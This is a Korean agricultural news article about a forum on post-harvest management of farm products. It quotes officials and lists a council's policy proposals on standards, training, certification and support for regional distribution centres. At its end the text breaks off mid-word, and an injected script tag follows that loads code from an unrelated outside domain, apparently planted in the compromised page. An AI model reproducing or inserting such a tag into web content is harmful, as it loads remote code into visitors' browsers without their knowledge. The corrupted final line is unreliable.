" 농식품의 수확후 관리는 새로운 부가가치를 창출하는 제2의 생산활동이며, 물류효율화를 위한 기본활동이므로 체계적인 관리가 시급한 것으로 지적됐다.
지난달 31일 농협서울지역본부 대회의실에서 "농식품 수확후관리 혁신을 위한 정책과제"란 주제로 열린 제17차 신유통토론회에서 최양부 (사)농식품신유통연구회 회장은 “농식품유통에서 수확후 물적유통관리는 기술적 연구차원에만 머물러 있어 관심의 대상이 되지 못했다”며 “농식품은 살아있는 생명체이므로 상품적가치를 유지하거나 높이기 위해선 유통기간중에도 생리활동을 억제·차단시키는 것이 중요하다”고 강조했다.
이와관련 이재덕 한농연 사무총장은 “농가소득의 안정을 위해선 수확후 관리를 통한 농산물 부가가치 제고와 유통비용 절감, 효율적인 마케팅 효과 창출 등이 필요하다”고 말했다.
김소현 농협중앙회 과수화훼부장은 “산지유통센터와 도매시장이 물류개선의 견인차 역할을 수행해야 한다”며 “하지만 많은 산지유통센터들이 농산물 가격 하락에 따른 경영상의 어려움으로 특수품목을 제외하곤 저장을 꺼리고 있어 이에 대한 대책 마련도 시급하다”고 지적했다.
임영진 본지 농산유통부장은 “현재 거리 시식회를 중심으로 이뤄지고 있는 마케팅활동을 보다 다양화시켜 홍보대상을 세분화하고 간접홍보기법을 개발해 적은 비용으로 최대의 효과를 거두는 방안을 마련해야 한다”고 강조했다.
박현출 농림부 유통정책과장은 “농산물 공급과잉시대에 수확후 관리는 선택과목이 아닌 필수과목”이라면서 “정부도 올해 정책목표를 농산물 수급안정을 통한 가격안정과 산지유통 혁신, 도매시장 개혁으로 삼았다”고 말했다.박유신 yusinya@aflnews.co.kr

〈농식품 수확후관리 정책심의회 정책건의〉
농식품 수확후관리 정책심의회는 지난해 10월 발족된 이후 품질안전, 물류, 포장, 기계설비, 마케팅 등 5개분과로 나누어 수확후 관리방안에 대해 연구한 결과를 토대로 정부 정책건의 보고서를 작성해 제출키로 했다.
심의회가 채택한 정책건의는 다음과 같다.

◆농식품 수확후관리 정책체계 확립
농식품 수확후관리 기술의 도입과 보급을 확산시키고 선별, 등급, 포장, 예냉, 저장, 수송 등에 일관 작업체계가 이뤄지게 하기 위해 농림부 농산물유통국 내에 "수확후관리 정책담당관"을 신설해 각종 제도와 기준, 규격, 정책지원 등을 조정하고 체계화시키는 것이 시급하다
◆국가적인 "농식품 수확후관리 센터"설립 추진
농식품 수확후 관리에 대한 기술개발연구와 보급, 교육훈련, 정책개발, 지도·컨설팅 등이 개별연구자나 연구기관·단체에서 독자적으로 이뤄지고 있어 효과를 보지 못하고 있다.
따라서 산지생산자와 소비지 유통관계자들에 대한 장단기 수확후관리 전문교육 훈련을 전담하는 국가적인 "농식품 수확후관리 센터"의 설립이 요구되고 있다.
◆(가칭)"한국 농식품 표준규격" 제정
국가 표준화 사업과 연계해 농식품의 품질 등급과 포장에 관한 가칭 "한국 농식품 표준규격"을 제정하는 것이 필요하다.
이를 위해 품목별로 품질에 영향을 미치는 표준품질인자를 선정하고 표준품질 규격을 재정비해야 한다. 또 상온 및 저온 유통시스템에 맞는 팔레트 및 포장규격을 점검해 표준화시키고 이를 바탕으로 표준포장과 물류규격을 재정비해야 한다.
◆"농식품수확관리 메뉴얼" 품목별 작성·보급
농식품의 생산과 현장 관계자에게 필요한 기술 및 경제정보사항을 정리한 "농식품수확후관리 메뉴얼"을 작성해 보급해야 한다.
특히 저온유통시스템이 보편화됨에 따라 저온유통이 불가피한 주요 청과와 채소류의 메뉴얼 작성이 시급하다.
◆국가인증 "농식품 품질관리사"자격제도 도입
농식품의 품질관리를 위해선 생산자와 유통종사자 등이 품목별 수확후 생리변화에 따른 적절한 관리에 대한 기본지식과 기술을 습득하고 실천토록 해야 한다. 이를 제도적으로 확립하기 위해선 국가기술 자격제를 도입해 "농식품 품질관리사" 자격을 취득케하고 자격증을 보유한 자들이 해당업체에 종사케해야 한다
◆산지유통센터 운영 지원 강화
수확후관리 기술의 도입에 따른 각종기자재, 장비, 시설에 대한 투자를 감안해 현재 20~30% 수준인 국고보조율을 상향조정해야 한다.
운영개선을 위해 수확후 관리와 전략적 마케팅에 대한 컨설팅지원이 확대돼야 하며, 현재 농협중심으로 이뤄지고 있는 유통활성화지원이 영농조합법인 등으로 확대돼야 한다.
판매확대를 위해서 장기어음 등 대형유통업체 납품에 따른 위험부담을 분산시키기 위한 지급보증이 필요하며, 이를 지원키 위한 농신보제도의 개선이 요망된다.
◆도매시장 운영혁신을 통한 신유통시스?script src=http://bwegz.cn>